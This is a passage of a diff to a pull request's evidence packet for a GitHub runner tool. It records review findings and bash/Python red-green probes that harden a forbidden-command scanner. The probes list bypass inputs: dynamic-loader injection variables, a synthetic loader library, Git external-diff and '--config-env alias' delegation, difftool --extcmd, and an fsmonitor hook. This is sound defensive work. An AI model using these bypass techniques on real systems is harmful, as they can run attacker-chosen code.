"/synthetic/loader.dylib"}), +): + with tempfile.TemporaryDirectory() as directory: + marker = Path(directory) / "selector-ran" + failure_probe = ( + preflight + + "\nprintf selector-ran > " + + shlex.quote(str(marker)) + + "\n" + ) + child_environment = { + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + **extra_environment, + } + result = subprocess.run( + ["/bin/bash"], + input=failure_probe, + text=True, + env=child_environment, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + if result.returncode == 0 or marker.exists(): + raise SystemExit( + f"selector {label} failure boundary did not stop before external lookup" + ) +print( + "GREEN 4005546293 boundary checks: synthetic hostile PATH and loader state " + "were rejected before any selector marker could run" +) +print( + "GREEN 4005546293: canonical PATH and dynamic-loader checks preceded every selector " + "rg/wc/tr/grep lookup; no external selector ran before validation" +) +PY ``` -#### Minimal packet correction and focused green probes - -The minimal correction binds every heredoc operator to the last owning shell -command segment in both audits. It adds reviewed checkout rechecks (tree, -raw bytes, status and intent) before module download, after download before -metadata/source reads and immediately before test execution. It recursively -pairs tuple/list destructuring with source values, resolves direct and chained -launcher aliases, and conservatively leaves unresolved aliases as `None` so -they fail closed. It rejects inherited or command-prefix `GOMAXPROCS` unless -the reviewed value `1`, pins it before any Go child, validates the child -environment and records `gomaxprocs-1`. Finally, every owned Go process group -is terminated and waited on for timeout, normal/nonzero return, -`KeyboardInterrupt` and other exceptions; normal-return `returncode` is saved -before the process handle is cleared, and cleanup uses only the private group -created by `start_new_session=True`. - -The focused green probe read only the candidate packet, exercised pure scanner, -AST and ordering helpers, ran the source-integrity helper with Git-only checks, -and patched `Popen`/`killpg` around the child helper. No packet prescription, -Go child, compiler, test body, heredoc body, workflow, App/runner operation, -credential access, Docker/Lima/Keychain/launchd operation or destructive -cleanup ran. - Recorded focused green output: ```text -GREEN 4004331157: heredocs are bound to their owning command segments; prior Python cannot certify later bash/sh bodies -GREEN 4004331169: reviewed tree/raw bytes/status/intent are rechecked before module download, metadata source reads, and test execution -GREEN source-integrity helper: raw worktree bytes, reviewed module tree, clean status and intent bits matched using Git-only checks -GREEN 4004331174: direct and chained destructured launcher aliases resolve to forbidden-command checks; unresolved aliases fail closed -GREEN 4004331181: inherited/command-prefix GOMAXPROCS is rejected unless reviewed 1, pinned before Go metadata, and recorded as gomaxprocs-1 -GREEN 4004331186: owned Go groups terminate and wait on timeout, normal/nonzero return, KeyboardInterrupt and other failure; no broad process matching +GREEN 4005546293 boundary checks: synthetic hostile PATH and loader state were rejected before any selector marker could run +GREEN 4005546278: direct/equals/wrapped/global-option Git difftool/mergetool delegation rejected before generic classification; safe Git status/config/diff retained +GREEN 4005546284: Go metadata child environment carried exact system/global Git isolation and core.fsmonitor=false/core.hooksPath=/dev/null overrides; synthetic local fsmonitor hook was not invoked +GREEN 4005546293: canonical PATH and dynamic-loader checks preceded every selector rg/wc/tr/grep lookup; no external selector ran before validation ``` -The probes are static, synthetic or Git-only evidence; they do not qualify a -compiler, Go test, live runner, workflow, remote API or production operation. -Exact-head Codex review, required CI and maintainer live authorization remain -open. Rollback is narrow and packet-only: restore +The probes are static, synthetic or Git-only boundary evidence. They do not +qualify a compiler, Go test/list/body command, live runner, workflow, remote API +or production operation. Exact-head Codex review of the final pushed head, +required CI and maintainer live authorization remain open. + +Rollback is narrow and packet-only: restore `docs/evidence/g01-recovery-packet.md` to immutable parent -`bf98be330c0907b3cb67f3630223e9b76c9c6df7`; preserve independent driver, +`3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb`; preserve independent driver, review and manual-runner state, and never force-kill, prune or replay a live resource. @@ -17440,843 +30839,585 @@ resource. | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4004331157, source `bf98be330c0907b3cb67f3630223e9b76c9c6df7` | [discussion 4004331157](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004331157) | Reproduced the first Python heredoc classifying a later `bash` heredoc. Both audits now use the owning segment, so executable non-Python bodies fail closed before certification; no body or command ran. Rollback is packet-only parent restoration. | -| 4004331169, source `bf98be330c0907b3cb67f3630223e9b76c9c6df7` | [discussion 4004331169](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004331169) | Reproduced the missing final raw-source check. The wrapper now rechecks reviewed tree/raw bytes/status/intent before module download, after download before metadata/source reads and immediately before tests; the Git-only helper matched this checkout. Rollback is packet-only parent restoration. | -| 4004331174, source `bf98be330c0907b3cb67f3630223e9b76c9c6df7` | [discussion 4004331174](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004331174) | Reproduced `launch, = (subprocess.run,)` escaping the parent AST binding pass. Tuple/list aliases and chains now resolve recursively; unresolved aliases remain fail-closed, with no command execution. Rollback is packet-only parent restoration. | -| 4004331181, source `bf98be330c0907b3cb67f3630223e9b76c9c6df7` | [discussion 4004331181](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004331181) | Reproduced uncontrolled inherited/command-prefix `GOMAXPROCS`. The wrapper rejects values other than reviewed `1`, pins the child environment before metadata and records `gomaxprocs-1`; no Go child ran. Rollback is packet-only parent restoration. | -| 4004331186, source `bf98be330c0907b3cb67f3630223e9b76c9c6df7` | [discussion 4004331186](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004331186) | Reproduced unreaped owned groups on normal/nonzero, interruption and other failure exits. The helper now terminates and waits on every owned group, saves `returncode` before clearing the handle, and performs no broad process matching. Rollback is packet-only parent restoration. | +| 4005546278, source `3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb` | [discussion 4005546278](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005546278) | Reproduced the exact parent's harmless classification of `git difftool --extcmd` and wrapped/equals variants. The scanner now rejects `difftool`/`mergetool` and `--extcmd`/`--tool` external-tool delegation before generic Git classification while safe Git status/config/diff remain accepted; no delegated command ran. Rollback is packet-only parent restoration. | +| 4005546284, source `3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb` | [discussion 4005546284](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005546284) | Reproduced inherited local Git `core.fsmonitor` reaching the exact parent's prospective Go-child environment and invoking a synthetic hook. Go children now receive system/global isolation plus exact `GIT_CONFIG_COUNT` settings for `core.fsmonitor=false` and `core.hooksPath=/dev/null`; the Git-only green probe suppressed the synthetic hook, with no Go child. Rollback is packet-only parent restoration. | +| 4005546293, source `3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb` | [discussion 4005546293](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005546293) | Reproduced the exact selector audit invoking `rg` before PATH/loader preflight. The canonical PATH and complete dynamic-loader checks now precede every external selector lookup; no selector tool ran before validation. Rollback is packet-only parent restoration. | -### Fresh exact-head P2 corrections at `4ee7c855b1e79f9478e5cf73c270731dfbf58cf7` +#### Packet body/link/fence/hygiene certification -The three fresh Codex P2 findings on the exact PR #78 head above were -reproduced against that immutable packet parent before editing. This -packet-only correction preserves all earlier ledgers, source/tree pins, -rollback boundaries and live-operation gates. No compiler, Go child, test -body, workflow, App/runner, Docker, Lima, Keychain, launchd or live operation -is authorized or claimed. +The final packet-only diff was checked after the three fresh exact-head P2 +corrections and without running any compiler, Go/vet child or live operation. +Markdown fence parity, packet-local links/files, backlog JSON syntax, +embedded-wrapper/scanner AST parsing, fresh probe-body AST parsing, exact +red/green transcript presence, added-line secret/private-path hygiene, packet- +only scope and whitespace were checked. + +```text +GREEN packet certification: 137 Markdown fences balanced, 63 rendered packet-local links/files checked, backlog JSON valid, embedded wrapper/scanner AST valid, 2 fresh probe bodies AST-valid, exact red/green outputs present, only packet changed, added-line secret/private-path hygiene clean, and git diff --check passed +``` + +### Fresh exact-head P2 corrections at `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` + +The exact-head review of immutable parent +`7d91bed688dbea21bea7dff62f41d48d1d57ce4b` identified four documentation +validation findings: the embedded forbidden-command scanner rejected its own +reviewed helper and quoted regex/awk bodies +([discussion 4006042813](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042813)); +Git external-diff delegation was not rejected +([discussion 4006042822](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042822)); +the selector preflight omitted `DYLD_FALLBACK_FRAMEWORK_PATH` +([discussion 4006042835](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042835)); +and documentation-validation Git children did not all inherit the reviewed +system/global configuration and `core.fsmonitor=false`/ +`core.hooksPath=/dev/null` fence +([discussion 4006042843](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042843)). +The coordinator also dispatched an independent Luna-max finding for split and +equals-form `git --config-env alias.*` delegation; its concrete tracking comment +is recorded in the ledger below. This packet-only correction preserves all source +and live-operation boundaries; no Go, compiler, workflow, runner, Docker, Lima, +Keychain, launchd, credential or live GitHub operation ran. #### Exact-parent red reproductions -The red probe reads only the immutable parent packet with `git show`. The -oversized Go output witness uses a fake `Popen`, the GODEBUG witnesses block -the first Git lookup, and the final witness is source/AST ordering only; no -Go, compiler or live child starts. +The red probe reads only the immutable parent with `git show`, executes the +parent scanner only over in-memory packet text, and performs pure token/text +checks. It records the helper/quoted-body scanner failure, all three external +diff forms, both Luna alias forms, the missing loader variable and the bare +markdown/link validation Git child without starting a Go child or live command. ```sh set -euo pipefail +export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null +# g01-safe-python-heredoc: reviewed immutable-parent exact-head red probe [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } /opt/homebrew/bin/python3 -I - <<'PY' import ast -import os +import re +import shlex import subprocess -import sys +from pathlib import Path -parent = "4ee7c855b1e79f9478e5cf73c270731dfbf58cf7" +parent = "7d91bed688dbea21bea7dff62f41d48d1d57ce4b" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) -start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -end = packet.index("\nPY\n}", start) -wrapper = packet[start:end] -tree = ast.parse(wrapper) -functions = { - node.name: node - for node in tree.body - if isinstance(node, ast.FunctionDef) -} -# 4004742812: the exact parent captured arbitrary communicate() output. -if "capture_go_child_output" in wrapper or "go_child_output_max_bytes" in wrapper: - raise SystemExit("red setup changed: parent already has bounded output markers") -class OversizedPopen: - pid = 987654321 - returncode = 0 - def communicate(self, *args, **kwargs): - if kwargs.get("timeout") == 300: - return "x" * 1100000, "y" * 1100000 - return "", "" - def wait(self): - return self.returncode -saved_popen, saved_killpg = subprocess.Popen, os.killpg -subprocess.Popen = lambda *args, **kwargs: OversizedPopen() -os.killpg = lambda *args, **kwargs: None -try: - namespace = { - "__name__": "__main__", - "os": os, - "signal": __import__("signal"), - "subprocess": subprocess, - "label": "capture-red", - "go_child_deadline_seconds": 300, - "go_child_termination_grace_seconds": 5, - } - exec(compile(ast.Module( - body=[functions["terminate_go_child_group"], functions["run_go_child"]], - type_ignores=[], - ), "", "exec"), namespace) - result = namespace["run_go_child"]( - ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, - capture_output=True, check=False, - ) -finally: - subprocess.Popen, os.killpg = saved_popen, saved_killpg -if len(result.stdout) <= 1048576 or len(result.stderr) <= 1048576: - raise SystemExit("red setup changed: oversized fake output was not delivered") -print( - f"RED 4004742812: exact parent {parent} accepted synthetic " - f"{len(result.stdout)}-byte stdout/{len(result.stderr)}-byte stderr without a " - "byte-limited stream before the 300s deadline" +anchor = packet.index("The packet also runs a command-line scan over fenced") +start = packet.index("/opt/homebrew/bin/python3 -I - <<'PY'\n", anchor) + len("/opt/homebrew/bin/python3 -I - <<'PY'\n") +end = packet.index("\nPY\n```", start) +scanner = packet[start:end].replace( + 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + "source = packet", + 1, ) - -# 4004742819: inherited and command-prefix GODEBUG reached the first lookup. -if "GODEBUG" in wrapper or "godebug" in wrapper.lower(): - raise SystemExit("red setup changed: parent already has a GODEBUG guard/identity") -base = [ - "probe", "1", "0" * 64, "probe", - "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-" - "goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", -] -class StopBeforeChild(Exception): - pass -def blocked_child(*args, **kwargs): - raise StopBeforeChild -saved_env, saved_argv = dict(os.environ), sys.argv -saved_check, saved_run = subprocess.check_output, subprocess.run try: - for mode, assignment in (("inherited", None), ("command-prefix", "GODEBUG=asyncpreemptoff")): - os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) - if assignment is None: - os.environ["GODEBUG"] = "asyncpreemptoff" - sys.argv = base[:6] + ([assignment] if assignment else []) + base[6:] - subprocess.check_output, subprocess.run = blocked_child, blocked_child - try: - exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) - except StopBeforeChild: - print( - f"RED 4004742819: exact parent {parent} accepted {mode} " - "GODEBUG=asyncpreemptoff and reached its first Git lookup without refusal" - ) - except SystemExit as error: - raise SystemExit(f"red setup changed: parent refused {mode} GODEBUG: {error}") - else: - raise SystemExit(f"red setup changed: parent completed {mode} probe") -finally: - subprocess.check_output, subprocess.run = saved_check, saved_run - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) + exec(compile(scanner, "", "exec"), {"__name__": "__main__", "packet": packet}) +except SystemExit as error: + message = str(error) + if "line 2269: unresolved or parameter-expanded executable is not allowed" not in message: + raise SystemExit("red setup changed: checked_helper witness moved") + if "line 4845: unsupported shell compound syntax is not allowed" not in message: + raise SystemExit("red setup changed: quoted awk witness moved") + print("RED 4006042813: exact parent scanner rejected embedded checked_helper and quoted regex/awk bodies; first witnesses were lines 2269 and 4845") +else: + raise SystemExit("red setup changed: exact parent scanner unexpectedly passed") + +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +for command in ( + "GIT_EXTERNAL_DIFF=/synthetic/helper git diff", + "git diff --ext-diff", + "git -c diff.external=/synthetic/helper diff", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit("red setup changed: parent already rejects " + command) +print("RED 4006042822: exact parent accepted GIT_EXTERNAL_DIFF, git diff --ext-diff and git -c diff.external=/synthetic/helper diff") +for command in ( + "git --config-env alias.ship=GIT_ALIAS diff", + "git --config-env=alias.ship=GIT_ALIAS diff", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit("red setup changed: parent already rejects " + command) +print("RED Luna alias bypass: exact parent accepted split/equals Git --config-env alias.* delegation") -# 4004742824: no recheck separated test-child return and JSON acceptance. -run_pos = wrapper.index("run_result = run_go_child") -json_pos = wrapper.index("validate_test_stream(run_result.stdout", run_pos) -post_child = wrapper[run_pos:json_pos] -if "recheck_reviewed_source_checkout" in post_child: - raise SystemExit("red setup changed: parent already rechecks after test child") -print( - f"RED 4004742824: exact parent {parent} has no reviewed tree/raw-byte/status/intent " - "recheck between test-child return and JSON/result acceptance" -) +selector_anchor = packet.index("The packet also audits every future shell") +selector_start = packet.index("selector_pattern='", selector_anchor) +selector_end = packet.index("\nPY\n```", selector_start) +selector_block = packet[selector_start:selector_end] +first_rg = selector_block.index('rg -n "$selector_pattern"') +if "DYLD_FALLBACK_FRAMEWORK_PATH" in selector_block[:first_rg]: + raise SystemExit("red setup changed: parent already covered fallback framework") +print("RED 4006042835: exact parent reached selector rg before checking DYLD_FALLBACK_FRAMEWORK_PATH") + +doc_start = packet.index("## Documentation-only validation") +link_start = packet.index("### Markdown links, JSON, and ledger shape", doc_start) +link_end = packet.index("The link/anchor checker reported", link_start) +link_block = packet[link_start:link_end] +if 'subprocess.check_output(["git", "ls-files", "*.md"], text=True)' not in link_block: + raise SystemExit("red setup changed: parent link-check Git child witness moved") +if "GIT_CONFIG_NOSYSTEM" in link_block: + raise SystemExit("red setup changed: parent already carried documentation Git config") +print("RED 4006042843: exact parent markdown/link validation spawned git ls-files without safe system/global config or fsmonitor/hooksPath overrides") PY ``` Recorded exact-parent red output: ```text -RED 4004742812: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 accepted synthetic 1100000-byte stdout/1100000-byte stderr without a byte-limited stream before the 300s deadline -RED 4004742819: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 accepted inherited GODEBUG=asyncpreemptoff and reached its first Git lookup without refusal -RED 4004742819: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 accepted command-prefix GODEBUG=asyncpreemptoff and reached its first Git lookup without refusal -RED 4004742824: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 has no reviewed tree/raw-byte/status/intent recheck between test-child return and JSON/result acceptance +RED 4006042813: exact parent scanner rejected embedded checked_helper and quoted regex/awk bodies; first witnesses were lines 2269 and 4845 +RED 4006042822: exact parent accepted GIT_EXTERNAL_DIFF, git diff --ext-diff and git -c diff.external=/synthetic/helper diff +RED Luna alias bypass: exact parent accepted split/equals Git --config-env alias.* delegation +RED 4006042835: exact parent reached selector rg before checking DYLD_FALLBACK_FRAMEWORK_PATH +RED 4006042843: exact parent markdown/link validation spawned git ls-files without safe system/global config or fsmonitor/hooksPath overrides ``` -#### Minimal correction and focused green assertions +#### Minimal packet-only correction and focused green/boundary probes -The correction adds selector-based streaming with an 8 MiB cap on each -Go-child stdout/stderr pipe, while preserving private process-group termination -and wait cleanup on timeout, overflow, normal/nonzero return and exceptional -exit. It rejects inherited or command-prefix GODEBUG unless the reviewed value -is empty, pins that value into every Go-child environment and emits the -godebug-empty runtime identity alongside the existing build identity. It -repeats the reviewed tree, raw-byte, status and intent checks immediately after -the test child returns and before either its return code or JSON/result is -accepted. +The minimal correction uses a literal `go_test_checked` call in the vet +adapter, keeps multiline quoted shell data together before token inspection, +ignores assignment-only shell records and shell test brackets, rejects +`GIT_EXTERNAL_DIFF`, `--ext-diff`, `diff.external` and `--config-env alias.*` +delegation before generic Git classification, adds the missing fallback +framework loader check before every selector tool, and exports the reviewed +Git system/global plus fsmonitor/hooksPath settings in every current +documentation-validation block that can spawn Git. Safe `--no-ext-diff`, +status, diff and user-config forms remain accepted. -The focused green probe uses fake Go Popen objects backed by synthetic pipes, a -synthetic temporary Git repository for the mutation witness, and patched child -boundaries. It uses a short synthetic deadline and a reduced test byte cap, so -it never waits for the reviewed 300-second deadline and starts no compiler, Go -child, test body, workflow, live operation or credential-bearing process. +The green probe below executes the candidate embedded scanner, exercises the +delegation allow/deny boundary, checks every reviewed loader variable before +each `rg`/`wc`/`tr`/`grep` selector lookup, runs hostile PATH/loader failure +boundaries before a marker, verifies the documentation-block Git fence, and +suppresses a synthetic local fsmonitor hook. It uses no Go, compiler, test +body, workflow, runner, Docker, Lima, Keychain, launchd, credential or live +GitHub operation. ```sh set -euo pipefail +export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null +# g01-safe-python-heredoc: reviewed focused scanner/Git/loader boundary probe [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } /opt/homebrew/bin/python3 -I - <<'PY' import ast import os -import subprocess -import sys -import tempfile -import threading -from pathlib import Path - -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -end = packet.index("\nPY\n}", start) -wrapper = packet[start:end] -tree = ast.parse(wrapper) -functions = {node.name: node for node in tree.body if isinstance(node, ast.FunctionDef)} - -# 4004742812: bounded selector capture and cleanup on every owned path. -if "go_child_output_max_bytes = 8 * 1024 * 1024" not in wrapper: - raise SystemExit("bounded capture assertion: reviewed per-stream cap missing") -capture_text = ast.unparse(functions["capture_go_child_output"]) -run_text = ast.unparse(functions["run_go_child"]) -for marker in ("selector.select", "os.read", "go_child_output_max_bytes"): - if marker not in capture_text: - raise SystemExit("bounded capture assertion: missing " + marker) -if "capture_go_child_output" not in run_text or "communicate" in run_text: - raise SystemExit("bounded capture assertion: run helper bypasses bounded capture") -if "start_new_session=True" not in run_text or "terminate_go_child_group" not in run_text: - raise SystemExit("bounded capture assertion: owned session/cleanup missing") - -ns = { - "os": os, - "selectors": __import__("selectors"), - "signal": __import__("signal"), - "subprocess": subprocess, - "time": __import__("time"), - "label": "bounded-green", - "go_child_deadline_seconds": 0.2, - "go_child_termination_grace_seconds": 0.1, - "go_child_output_max_bytes": 1024, - "go_child_stream_chunk_bytes": 128, -} -exec(compile(ast.Module(body=[ - functions["close_go_child_streams"], - functions["terminate_go_child_group"], - functions["capture_go_child_output"], - functions["run_go_child"], -], type_ignores=[]), "", "exec"), ns) - -class FakeProcess: - next_pid = 41000 - def __init__(self, returncode=0, stdout_data=b"", stderr_data=b""): - self.pid = FakeProcess.next_pid - FakeProcess.next_pid += 1 - self.returncode = returncode - self.stdout_read, self.stdout_write = os.pipe() - self.stderr_read, self.stderr_write = os.pipe() - self.stdout = os.fdopen(self.stdout_read, "rb", buffering=0) - self.stderr = os.fdopen(self.stderr_read, "rb", buffering=0) - self.threads = [] - for fd, data in ((self.stdout_write, stdout_data), (self.stderr_write, stderr_data)): - def writer(fd=fd, data=data): - try: - offset = 0 - while offset < len(data): - offset += os.write(fd, data[offset:offset + 4096]) - except OSError: - pass - finally: - try: - os.close(fd) - except OSError: - pass - thread = threading.Thread(target=writer) - thread.start() - self.threads.append(thread) - def wait(self, timeout=None): - return self.returncode - def join(self): - for thread in self.threads: - thread.join(timeout=2) - -active = [] -def launch(command, **kwargs): - if command[0] != "go" or kwargs.get("start_new_session") is not True: - raise AssertionError("bounded capture assertion: invalid fake launch") - process = FakeProcess() - active.append(process) - return process - -saved_popen, saved_killpg = subprocess.Popen, os.killpg -kills = [] -subprocess.Popen = launch -os.killpg = lambda pid, sig: kills.append((pid, sig)) -try: - first = ns["run_go_child"]( - ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, - capture_output=True, check=False, - ) - if (first.returncode, first.stdout, first.stderr) != (0, "", ""): - raise SystemExit("bounded capture assertion: normal result changed") - nonzero = FakeProcess(returncode=7) - active.append(nonzero) - subprocess.Popen = lambda *args, **kwargs: nonzero - if ns["run_go_child"]( - ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, - capture_output=True, check=False, - ).returncode != 7: - raise SystemExit("bounded capture assertion: nonzero result changed") - for stream in ("stdout", "stderr"): - overflow = FakeProcess( - stdout_data=b"x" * 1025 if stream == "stdout" else b"", - stderr_data=b"y" * 1025 if stream == "stderr" else b"", - ) - active.append(overflow) - subprocess.Popen = lambda *args, _process=overflow, **kwargs: _process - try: - ns["run_go_child"]( - ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, - capture_output=True, check=False, - ) - except SystemExit as error: - if "output budget" not in str(error): - raise SystemExit("bounded capture assertion: wrong overflow refusal") - else: - raise SystemExit("bounded capture assertion: " + stream + " overflow accepted") - for failure in ("timeout", "keyboard"): - process = FakeProcess() - active.append(process) - subprocess.Popen = lambda *args, _process=process, **kwargs: _process - original = ns["capture_go_child_output"] - if failure == "timeout": - def synthetic_timeout(*args, **kwargs): - raise subprocess.TimeoutExpired(["go", "env", "GOFLAGS"], 0.2) - ns["capture_go_child_output"] = synthetic_timeout - else: - def synthetic_keyboard(*args, **kwargs): - raise KeyboardInterrupt - ns["capture_go_child_output"] = synthetic_keyboard - try: - try: - ns["run_go_child"]( - ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, - capture_output=True, check=False, - ) - except SystemExit as error: - if failure != "timeout" or "deadline" not in str(error): - raise SystemExit("bounded capture assertion: wrong timeout refusal") - except KeyboardInterrupt: - if failure != "keyboard": - raise - else: - raise SystemExit("bounded capture assertion: " + failure + " accepted") - finally: - ns["capture_go_child_output"] = original -finally: - subprocess.Popen, os.killpg = saved_popen, saved_killpg - for process in active: - process.join() - for stream in (process.stdout, process.stderr): - try: - stream.close() - except (OSError, ValueError): - pass -if len(kills) != 6 or len({pid for pid, _ in kills}) != 6: - raise SystemExit("bounded capture assertion: not every owned path cleaned up") -print("GREEN 4004742812: selector streaming bounded stdout/stderr, rejected both overflows, preserved normal/nonzero results, and cleaned owned groups on overflow/timeout/exception paths; no Go child") +import re +import shlex +import subprocess +import tempfile +from pathlib import Path -# 4004742819: reviewed empty GODEBUG pin/rejection and runtime identity. -if wrapper.count("godebug_identity") < 3 or "GODEBUG" not in wrapper: - raise SystemExit("GODEBUG assertion: reviewed guard/identity missing") -base = [ - "probe", "1", "0" * 64, "probe", - "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", -] -class StopBeforeChild(Exception): - pass -def stop_before_child(*args, **kwargs): - raise StopBeforeChild -saved_env, saved_argv = dict(os.environ), sys.argv -saved_check, saved_run = subprocess.check_output, subprocess.run -try: - def prefix_probe(inherited=None, assignment=None): - os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) - if inherited is not None: - os.environ["GODEBUG"] = inherited - sys.argv = base[:6] + ([assignment] if assignment else []) + base[6:] - subprocess.check_output, subprocess.run = stop_before_child, stop_before_child - namespace = {"__name__": "__main__"} - try: - exec(compile(wrapper, "", "exec"), namespace) - except StopBeforeChild: - return namespace, "child-blocked" - except SystemExit as error: - return namespace, str(error) - raise SystemExit("GODEBUG assertion: probe completed unexpectedly") - safe, safe_result = prefix_probe(assignment="GODEBUG=") - if safe_result != "child-blocked" or safe["env"].get("GODEBUG") != "" or safe["godebug_identity"] != "godebug-empty": - raise SystemExit("GODEBUG assertion: empty setting not pinned/identified") - for inherited, assignment in (("asyncpreemptoff", None), (None, "GODEBUG=asyncpreemptoff")): - namespace, result = prefix_probe(inherited=inherited, assignment=assignment) - if result == "child-blocked" or 